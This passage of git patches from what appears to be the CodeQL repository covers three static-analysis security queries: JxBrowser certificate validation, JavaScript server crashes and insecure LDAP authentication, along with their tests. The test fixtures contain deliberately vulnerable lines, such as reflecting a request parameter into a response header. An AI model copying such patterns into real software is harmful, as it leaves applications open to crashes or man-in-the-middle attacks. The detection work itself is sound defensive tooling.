TaintTracking::Configuration { from JXBrowserTaintTracking cfg, DataFlow::Node src where cfg.isSource(src) and - not cfg.hasFlow(src, _) + not cfg.hasFlow(src, _) and + not isSafeJXBrowserVersion() select src, "This JXBrowser instance allows man-in-the-middle attacks." From 5b3086a93a07313d79520a24c36d9b45992fd2d1 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 22:43:41 +0100 Subject: [PATCH 0538/1241] Java: Fix capitalization of JxBrowser --- ...va => JxBrowserWithoutCertValidation.java} | 0 ...p => JxBrowserWithoutCertValidation.qhelp} | 12 ++--- ...n.ql => JxBrowserWithoutCertValidation.ql} | 50 +++++++++---------- .../JXBrowserWithoutCertValidation.expected | 1 - .../JXBrowserWithoutCertValidation.qlref | 1 - .../JxBrowserWithoutCertValidation.expected | 1 + ...va => JxBrowserWithoutCertValidation.java} | 2 +- .../JxBrowserWithoutCertValidation.qlref | 1 + 8 files changed, 34 insertions(+), 34 deletions(-) rename java/ql/src/experimental/Security/CWE/CWE-295/{JXBrowserWithoutCertValidation.java => JxBrowserWithoutCertValidation.java} (100%) rename java/ql/src/experimental/Security/CWE/CWE-295/{JXBrowserWithoutCertValidation.qhelp => JxBrowserWithoutCertValidation.qhelp} (58%) rename java/ql/src/experimental/Security/CWE/CWE-295/{JXBrowserWithoutCertValidation.ql => JxBrowserWithoutCertValidation.ql} (54%) delete mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected delete mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected rename java/ql/test/experimental/query-tests/security/CWE-295/{JXBrowserWithoutCertValidation.java => JxBrowserWithoutCertValidation.java} (95%) create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.java similarity index 100% rename from java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java rename to java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.java diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp similarity index 58% rename from java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp rename to java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp index 1d9588652c2..27d10c15223 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.qhelp @@ -4,14 +4,14 @@ <qhelp> <overview> -<p>JXBrowser is a Java library that allows to embed the Chromium browser inside Java applications. -The version 6.x.x by default ignores any HTTPS certificate errors thereby allowing man-in-the-middle attacks. +<p>JxBrowser is a Java library that allows to embed the Chromium browser inside Java applications. +Versions smaller than 6.24 by default ignore any HTTPS certificate errors thereby allowing man-in-the-middle attacks. </p> </overview> <recommendation> <p>Do either of these: -<li>Update to version 7.x.x as it now correctly rejects certificate errors by default.</li> +<li>Update to version 6.24 or 7.x.x as these correctly reject certificate errors by default.</li> <li>Add a custom implementation of the <code>LoadHandler</code> interface whose <code>onCertificateError</code> method always returns <b>true</b> indicating that loading should be cancelled. Then use the <code>setLoadHandler</code> method with your custom <code>LoadHandler</code> on every <code>Browser</code> you use.</li> </p> @@ -20,12 +20,12 @@ Then use the <code>setLoadHandler</code> method with your custom <code>LoadHandl <example> <p>The following two examples show two ways of using a <code>Browser</code>. In the 'BAD' case, all certificate errors are ignored. In the 'GOOD' case, certificate errors are rejected.</p> -<sample src="JXBrowserWithoutCertValidation.java" /> +<sample src="JxBrowserWithoutCertValidation.java" /> </example> <references> <li>Teamdev: -<a href="https://www.teamdev.com/downloads/jxbrowser/javadoc/com/teamdev/jxbrowser/chromium/LoadHandler.html#onCertificateError-com.teamdev.jxbrowser.chromium.CertificateErrorParams-"> -Javadoc for the LoadHandler#onCertificateError method</a>.</li> +<a href="https://jxbrowser.support.teamdev.com/support/discussions/topics/9000051708"> +Changelog of JxBrowser 6.24</a>.</li> </references> </qhelp> diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql similarity index 54% rename from java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql rename to java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql index ab74c78d1e7..0de4290a44e 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql @@ -1,6 +1,6 @@ /** - * @name JXBrowser with disabled certificate validation - * @description Insecure configuration of JXBrowser disables certificate validation making the app vulnerable to man-in-the-middle attacks. + * @name JxBrowser with disabled certificate validation + * @description Insecure configuration of JxBrowser disables certificate validation making the app vulnerable to man-in-the-middle attacks. * @kind problem * @id java/jxbrowser/disabled-certificate-validation * @tags security @@ -12,33 +12,33 @@ import semmle.code.java.security.Encryption import semmle.code.java.dataflow.TaintTracking /* - * This query is version specific to JXBrowser < 6.24. The version is indirectly detected. + * This query is version specific to JxBrowser < 6.24. The version is indirectly detected. * In version 6.x.x the `Browser` class is in a different package compared to version 7.x.x. */ /** - * Holds if a safe JXBrowser 6.x.x version is used, such as version 6.24. + * Holds if a safe JxBrowser 6.x.x version is used, such as version 6.24. * This is detected by the the presence of the `addBoundsListener` in the `Browser` class. */ -private predicate isSafeJXBrowserVersion() { - exists(Method m | m.getDeclaringType() instanceof JXBrowser | m.hasName("addBoundsListener")) +private predicate isSafeJxBrowserVersion() { + exists(Method m | m.getDeclaringType() instanceof JxBrowser | m.hasName("addBoundsListener")) } /** The `com.teamdev.jxbrowser.chromium.Browser` class. */ -private class JXBrowser extends RefType { - JXBrowser() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "Browser") } +private class JxBrowser extends RefType { + JxBrowser() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "Browser") } } /** The `setLoadHandler` method on the `com.teamdev.jxbrowser.chromium.Browser` class. */ -private class JXBrowserSetLoadHandler extends Method { - JXBrowserSetLoadHandler() { - this.hasName("setLoadHandler") and this.getDeclaringType() instanceof JXBrowser +private class JxBrowserSetLoadHandler extends Method { + JxBrowserSetLoadHandler() { + this.hasName("setLoadHandler") and this.getDeclaringType() instanceof JxBrowser } } /** The `com.teamdev.jxbrowser.chromium.LoadHandler` interface. */ -private class JXBrowserLoadHandler extends RefType { - JXBrowserLoadHandler() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "LoadHandler") } +private class JxBrowserLoadHandler extends RefType { + JxBrowserLoadHandler() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "LoadHandler") } } private predicate isOnCertificateErrorMethodSafe(Method m) { @@ -48,35 +48,35 @@ private predicate isOnCertificateErrorMethodSafe(Method m) { } /** A class that securely implements the `com.teamdev.jxbrowser.chromium.LoadHandler` interface. */ -private class JXBrowserSafeLoadHandler extends RefType { - JXBrowserSafeLoadHandler() { - this.getASupertype() instanceof JXBrowserLoadHandler and +private class JxBrowserSafeLoadHandler extends RefType { + JxBrowserSafeLoadHandler() { + this.getASupertype() instanceof JxBrowserLoadHandler and exists(Method m | m.hasName("onCertificateError") and m.getDeclaringType() = this | isOnCertificateErrorMethodSafe(m) ) } } -private class JXBrowserTaintTracking extends TaintTracking::Configuration { - JXBrowserTaintTracking() { this = "JXBrowserTaintTracking" } +private class JxBrowserTaintTracking extends TaintTracking::Configuration { + JxBrowserTaintTracking() { this = "JxBrowserTaintTracking" } override predicate isSource(DataFlow::Node src) { - exists(ClassInstanceExpr newJXBrowser | newJXBrowser.getConstructedType() instanceof JXBrowser | - newJXBrowser = src.asExpr() + exists(ClassInstanceExpr newJxBrowser | newJxBrowser.getConstructedType() instanceof JxBrowser | + newJxBrowser = src.asExpr() ) } override predicate isSink(DataFlow::Node sink) { - exists(MethodAccess ma | ma.getMethod() instanceof JXBrowserSetLoadHandler | - ma.getArgument(0).getType() instanceof JXBrowserSafeLoadHandler and + exists(MethodAccess ma | ma.getMethod() instanceof JxBrowserSetLoadHandler | + ma.getArgument(0).getType() instanceof JxBrowserSafeLoadHandler and ma.getQualifier() = sink.asExpr() ) } } -from JXBrowserTaintTracking cfg, DataFlow::Node src +from JxBrowserTaintTracking cfg, DataFlow::Node src where cfg.isSource(src) and not cfg.hasFlow(src, _) and - not isSafeJXBrowserVersion() -select src, "This JXBrowser instance allows man-in-the-middle attacks." + not isSafeJxBrowserVersion() +select src, "This JxBrowser instance allows man-in-the-middle attacks." diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected deleted file mode 100644 index 00d43d1e8b7..00000000000 --- a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected +++ /dev/null @@ -1 +0,0 @@ -| JXBrowserWithoutCertValidation.java:17:27:17:39 | new Browser(...) | This JXBrowser instance allows man-in-the-middle attacks. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref deleted file mode 100644 index ab2a3f14bb9..00000000000 --- a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref +++ /dev/null @@ -1 +0,0 @@ -experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected new file mode 100644 index 00000000000..121de8759ac --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.expected @@ -0,0 +1 @@ +| JxBrowserWithoutCertValidation.java:17:27:17:39 | new Browser(...) | This JxBrowser instance allows man-in-the-middle attacks. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java similarity index 95% rename from java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java rename to java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java index 97fc8e8770f..b7e2710842f 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.java @@ -3,7 +3,7 @@ import com.teamdev.jxbrowser.chromium.LoadHandler; import com.teamdev.jxbrowser.chromium.LoadParams; import com.teamdev.jxbrowser.chromium.CertificateErrorParams; -public class JXBrowserWithoutCertValidation { +public class JxBrowserWithoutCertValidation { public static void main(String[] args) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref new file mode 100644 index 00000000000..cab6f2a4962 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JxBrowserWithoutCertValidation.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql From d591c519a8062053bbe588e8133b9297aa6cf4da Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 12 Jan 2021 15:11:52 +0100 Subject: [PATCH 0539/1241] JS: reformulate js/server-crash as a path problem --- .../ql/src/Security/CWE-730/ServerCrash.ql | 194 ++++++++++++------ .../Security/CWE-730/ServerCrash.expected | 54 ++++- .../Security/CWE-730/server-crash.js | 2 +- 3 files changed, 185 insertions(+), 65 deletions(-) diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.ql b/javascript/ql/src/Security/CWE-730/ServerCrash.ql index 8db7574d6c9..4df31174150 100644 --- a/javascript/ql/src/Security/CWE-730/ServerCrash.ql +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.ql @@ -2,7 +2,7 @@ * @name Server crash * @description A server that can be forced to crash may be vulnerable to denial-of-service * attacks. - * @kind problem + * @kind path-problem * @problem.severity error * @precision high * @id js/server-crash @@ -13,46 +13,7 @@ import javascript /** - * Gets a function that `caller` invokes. - */ -Function getACallee(Function caller) { - exists(DataFlow::InvokeNode invk | - invk.getEnclosingFunction() = caller and result = invk.getACallee() - ) -} - -/** - * Gets a function that `caller` invokes, excluding calls guarded in `try`-blocks. - */ -Function getAnUnguardedCallee(Function caller) { - exists(DataFlow::InvokeNode invk | - invk.getEnclosingFunction() = caller and - result = invk.getACallee() and - not exists(invk.asExpr().getEnclosingStmt().getEnclosingTryCatchStmt()) - ) -} - -predicate isHeaderValue(HTTP::ExplicitHeaderDefinition def, DataFlow::Node node) { - def.definesExplicitly(_, node.asExpr()) -} - -class Configuration extends TaintTracking::Configuration { - Configuration() { this = "Configuration" } - - override predicate isSource(DataFlow::Node node) { node instanceof RemoteFlowSource } - - override predicate isSink(DataFlow::Node node) { - // using control characters in a header value will cause an exception - isHeaderValue(_, node) - } -} - -predicate isLikelyToThrow(DataFlow::Node crash) { - exists(Configuration cfg, DataFlow::Node sink | cfg.hasFlow(_, sink) | isHeaderValue(crash, sink)) -} - -/** - * A call that looks like it is asynchronous. + * A call that appears to be asynchronous (heuristic). */ class AsyncCall extends DataFlow::CallNode { DataFlow::FunctionNode callback; @@ -64,37 +25,154 @@ class AsyncCall extends DataFlow::CallNode { not exists(callback.getAReturn()) } + /** + * Gets the callback that is invoked asynchronously. + */ DataFlow::FunctionNode getCallback() { result = callback } } +/** + * Gets a function that is invoked as a consequence of invoking a route handler `rh`. + */ +Function invokedByRouteHandler(HTTP::RouteHandler rh) { + rh = result.flow() + or + // follow the immediate call graph + exists(DataFlow::InvokeNode invk | + result = invk.getACallee() and + invk.getEnclosingFunction() = invokedByRouteHandler(rh) + ) + // if new edges are added here, the `edges` predicate should be updated accordingly +} + +/** + * A callback provided to an asynchronous call. + */ +class AsyncCallback extends DataFlow::FunctionNode { + AsyncCallback() { this = any(AsyncCall c).getCallback() } +} + +/** + * Gets a function that is in a call stack that starts at an asynchronous `callback`, calls in the call stack occur outside of `try` blocks. + */ +Function inUnguardedAsyncCallStack(AsyncCallback callback) { + callback = result.flow() + or + exists(DataFlow::InvokeNode invk | + result = invk.getACallee() and + not exists(invk.asExpr().getEnclosingStmt().getEnclosingTryCatchStmt()) and + invk.getEnclosingFunction() = inUnguardedAsyncCallStack(callback) + ) +} + /** * Gets a function that is invoked by `asyncCallback` without any try-block wrapping, `asyncCallback` is in turn is called indirectly by `routeHandler`. * * If the result throws an excection, the server of `routeHandler` will crash. */ Function getAPotentialServerCrasher( - HTTP::RouteHandler routeHandler, DataFlow::FunctionNode asyncCallback + HTTP::RouteHandler routeHandler, AsyncCall asyncCall, AsyncCallback asyncCallback ) { - exists(AsyncCall asyncCall | - // the route handler transitively calls an async function - asyncCall.getEnclosingFunction() = - getACallee*(routeHandler.(DataFlow::FunctionNode).getFunction()) and - asyncCallback = asyncCall.getCallback() and - // the async function transitively calls a function that may throw an exception out of the the async function - result = getAnUnguardedCallee*(asyncCallback.getFunction()) + // the route handler transitively calls an async function + asyncCall.getEnclosingFunction() = invokedByRouteHandler(routeHandler) and + asyncCallback = asyncCall.getCallback() and + // the async function transitively calls a function that may throw an exception out of the the async function + result = inUnguardedAsyncCallStack(asyncCallback) +} + +/** + * Gets a node that is likely to throw an uncaught exception in `fun`. + */ +LikelyExceptionThrower getALikelyUncaughtExceptionThrower(Function fun) { + result.getContainer() = fun and + not exists([result.(Expr).getEnclosingStmt(), result.(Stmt)].getEnclosingTryCatchStmt()) +} + +/** + * Edges that builds an explanatory graph that follows the mental model of how the the exception flows. + * + * - step 1. exception is thrown + * - step 2. exception exits the enclosing function + * - step 3. exception follows the call graph backwards until an async callee is encountered + * - step 4. (at this point, the program crashes) + * - step 5. if the program had not crashed, the exception would conceptually follow the call graph backwards to a route handler + */ +query predicate edges(ASTNode pred, ASTNode succ) { + nodes(pred) and + nodes(succ) and + ( + // the first step from the alert location to the enclosing function + pred = getALikelyUncaughtExceptionThrower(_) and + succ = pred.getContainer() + or + // ordinary flow graph + exists(DataFlow::InvokeNode invoke, Function f | + invoke.getACallee() = f and + succ = invoke.getAstNode() and + pred = f + or + invoke.getContainer() = f and + succ = f and + pred = invoke.getAstNode() + ) + or + // the async step + exists(DataFlow::Node predNode, DataFlow::Node succNode | + exists(getAPotentialServerCrasher(_, predNode, succNode)) and + predNode.getAstNode() = succ and + succNode.getAstNode() = pred + ) ) } /** - * Gets an AST node that is likely to throw an uncaught exception in `fun`. + * Nodes for building an explanatory graph that follows the mental model of how the the exception flows. */ -ExprOrStmt getALikelyExceptionThrower(Function fun) { - result.getContainer() = fun and - not exists([result.(Expr).getEnclosingStmt(), result.(Stmt)].getEnclosingTryCatchStmt()) and - (isLikelyToThrow(result.(Expr).flow()) or result instanceof ThrowStmt) +query predicate nodes(ASTNode node) { + exists(HTTP::RouteHandler rh, Function fun | + main(rh, _, _) and + fun = invokedByRouteHandler(rh) + | + node = any(DataFlow::InvokeNode invk | invk.getACallee() = fun).getAstNode() or + node = fun + ) + or + exists(AsyncCallback cb, Function fun | + main(_, cb, _) and + fun = inUnguardedAsyncCallStack(cb) + | + node = any(DataFlow::InvokeNode invk | invk.getACallee() = fun).getAstNode() or + node = fun + ) + or + main(_, _, node) } -from HTTP::RouteHandler routeHandler, DataFlow::FunctionNode asyncCallback, ExprOrStmt crasher -where crasher = getALikelyExceptionThrower(getAPotentialServerCrasher(routeHandler, asyncCallback)) -select crasher, "When an exception is thrown here and later exits $@, the server of $@ will crash.", - asyncCallback, "this asynchronous callback", routeHandler, "this route handler" +predicate main(HTTP::RouteHandler rh, AsyncCallback asyncCallback, ExprOrStmt crasher) { + crasher = getALikelyUncaughtExceptionThrower(getAPotentialServerCrasher(rh, _, asyncCallback)) +} + +/** + * A node that is likely to throw an exception. + * + * This is the primary extension point for this query. + */ +abstract class LikelyExceptionThrower extends ASTNode { } + +/** + * A `throw` statement. + */ +class TrivialThrowStatement extends LikelyExceptionThrower, ThrowStmt { } + +/** + * Empty class for avoiding emptiness checks from the compiler when there are no Expr-typed instances of the LikelyExceptionThrower type. + */ +class CompilerConfusingExceptionThrower extends LikelyExceptionThrower { + CompilerConfusingExceptionThrower() { none() } +} + +from HTTP::RouteHandler rh, AsyncCallback asyncCallback, ExprOrStmt crasher +where main(rh, asyncCallback, crasher) +select crasher, crasher, rh.getAstNode(), + "When an exception is thrown here and later escapes at $@, the server of $@ will crash.", + asyncCallback, "this asynchronous callback", rh, "this route handler" diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected index b4e8de623a6..acee72436fc 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected +++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected @@ -1,6 +1,48 @@ -| server-crash.js:7:5:7:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:11:3:11:11 | throw 42; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:16:7:16:16 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:15:30:17:5 | (err, x ... K\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:28:5:28:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:33:5:33:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | -| server-crash.js:41:5:41:48 | res.set ... header) | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:40:28:42:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +edges +| server-crash.js:5:1:9:1 | functio ... });\\n} | server-crash.js:49:3:49:16 | indirection1() | +| server-crash.js:7:5:7:14 | throw err; | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | +| server-crash.js:10:1:12:1 | functio ... OT OK\\n} | server-crash.js:51:5:51:18 | indirection2() | +| server-crash.js:11:3:11:11 | throw 42; | server-crash.js:10:1:12:1 | functio ... OT OK\\n} | +| server-crash.js:13:1:19:1 | functio ... e) {}\\n} | server-crash.js:54:3:54:16 | indirection3() | +| server-crash.js:16:7:16:16 | throw err; | server-crash.js:15:30:17:5 | (err, x ... K\\n } | +| server-crash.js:20:1:22:1 | functio ... aller\\n} | server-crash.js:56:5:56:18 | indirection4() | +| server-crash.js:23:1:25:1 | functio ... n6();\\n} | server-crash.js:58:3:58:16 | indirection5() | +| server-crash.js:24:3:24:16 | indirection6() | server-crash.js:23:1:25:1 | functio ... n6();\\n} | +| server-crash.js:26:1:30:1 | functio ... });\\n} | server-crash.js:24:3:24:16 | indirection6() | +| server-crash.js:28:5:28:14 | throw err; | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | +| server-crash.js:33:5:33:14 | throw err; | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | +| server-crash.js:49:3:49:16 | indirection1() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | +| server-crash.js:51:5:51:18 | indirection2() | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | +| server-crash.js:54:3:54:16 | indirection3() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | +| server-crash.js:56:5:56:18 | indirection4() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | +| server-crash.js:58:3:58:16 | indirection5() | server-crash.js:31:25:73:1 | (req, r ... });\\n} | +nodes +| server-crash.js:5:1:9:1 | functio ... });\\n} | +| server-crash.js:6:28:8:3 | (err, x ... OK\\n } | +| server-crash.js:7:5:7:14 | throw err; | +| server-crash.js:10:1:12:1 | functio ... OT OK\\n} | +| server-crash.js:11:3:11:11 | throw 42; | +| server-crash.js:13:1:19:1 | functio ... e) {}\\n} | +| server-crash.js:15:30:17:5 | (err, x ... K\\n } | +| server-crash.js:16:7:16:16 | throw err; | +| server-crash.js:20:1:22:1 | functio ... aller\\n} | +| server-crash.js:23:1:25:1 | functio ... n6();\\n} | +| server-crash.js:24:3:24:16 | indirection6() | +| server-crash.js:26:1:30:1 | functio ... });\\n} | +| server-crash.js:27:28:29:3 | (err, x ... OK\\n } | +| server-crash.js:28:5:28:14 | throw err; | +| server-crash.js:31:25:73:1 | (req, r ... });\\n} | +| server-crash.js:32:28:34:3 | (err, x ... OK\\n } | +| server-crash.js:33:5:33:14 | throw err; | +| server-crash.js:49:3:49:16 | indirection1() | +| server-crash.js:50:28:52:3 | (err, x ... ();\\n } | +| server-crash.js:51:5:51:18 | indirection2() | +| server-crash.js:54:3:54:16 | indirection3() | +| server-crash.js:56:5:56:18 | indirection4() | +| server-crash.js:58:3:58:16 | indirection5() | +#select +| server-crash.js:7:5:7:14 | throw err; | server-crash.js:7:5:7:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:11:3:11:11 | throw 42; | server-crash.js:11:3:11:11 | throw 42; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:16:7:16:16 | throw err; | server-crash.js:16:7:16:16 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:15:30:17:5 | (err, x ... K\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:28:5:28:14 | throw err; | server-crash.js:28:5:28:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:33:5:33:14 | throw err; | server-crash.js:33:5:33:14 | throw err; | server-crash.js:31:25:73:1 | (req, r ... });\\n} | When an exception is thrown here and later escapes at $@, the server of $@ will crash. | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | diff --git a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js index 96b5fc71187..7b61262ee92 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js +++ b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js @@ -38,7 +38,7 @@ app.get("/async-throw", (req, res) => { } catch (e) {} }); fs.readFile("/WHATEVER", (err, x) => { - res.setHeader("reflected", req.query.header); // NOT OK + res.setHeader("reflected", req.query.header); // NOT OK [INCONSISTENCY] }); fs.readFile("/WHATEVER", (err, x) => { try { From babe744a3011a4f7e2216ff5bd95bed241dd4984 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Wed, 13 Jan 2021 03:49:08 +0000 Subject: [PATCH 0540/1241] Add SECURITY_PROTOCOL check --- .../Security/CWE/CWE-522/InsecureLdapAuth.ql | 30 +++++++++++++++---- .../CWE-522/InsecureLdapAuth.expected | 14 ++++----- .../security/CWE-522/InsecureLdapAuth.java | 15 ++++++++++ 3 files changed, 46 insertions(+), 13 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql index 37b3057fb2f..1cebfe8bad3 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -89,22 +89,36 @@ predicate isProviderUrlSetter(MethodAccess ma) { } /** - * Holds if `ma` sets `java.naming.security.authentication` (also known as `Context.SECURITY_AUTHENTICATION`) to `simple` in some `Hashtable`. + * Holds if `ma` sets `fieldValue` with attribute name `fieldName` to `envValue` in some `Hashtable`. */ -predicate isSimpleAuthEnv(MethodAccess ma) { +bindingset[fieldName, fieldValue, envValue] +predicate hasEnvWithValue(MethodAccess ma, string fieldName, string fieldValue, string envValue) { ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and (ma.getMethod().hasName("put") or ma.getMethod().hasName("setProperty")) and ( - ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = - "java.naming.security.authentication" + ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = fieldValue or exists(Field f | ma.getArgument(0) = f.getAnAccess() and - f.hasName("SECURITY_AUTHENTICATION") and + f.hasName(fieldName) and f.getDeclaringType() instanceof TypeNamingContext ) ) and - ma.getArgument(1).(CompileTimeConstantExpr).getStringValue() = "simple" + ma.getArgument(1).(CompileTimeConstantExpr).getStringValue() = envValue +} + +/** + * Holds if `ma` sets `java.naming.security.authentication` (also known as `Context.SECURITY_AUTHENTICATION`) to `simple` in some `Hashtable`. + */ +predicate isSimpleAuthEnv(MethodAccess ma) { + hasEnvWithValue(ma, "SECURITY_AUTHENTICATION", "java.naming.security.authentication", "simple") +} + +/** + * Holds if `ma` sets `java.naming.security.protocol` (also known as `Context.SECURITY_PROTOCOL`) to `ssl` in some `Hashtable`. + */ +predicate isSSLEnv(MethodAccess ma) { + hasEnvWithValue(ma, "SECURITY_PROTOCOL", "java.naming.security.protocol", "ssl") } /** @@ -124,6 +138,10 @@ class LdapAuthFlowConfig extends TaintTracking::Configuration { exists(MethodAccess sma | sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and isSimpleAuthEnv(sma) + ) and + not exists(MethodAccess sma | + sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and + isSSLEnv(sma) ) ) } diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected index c34c8966e0d..745fd9c1b75 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected @@ -1,19 +1,19 @@ edges | 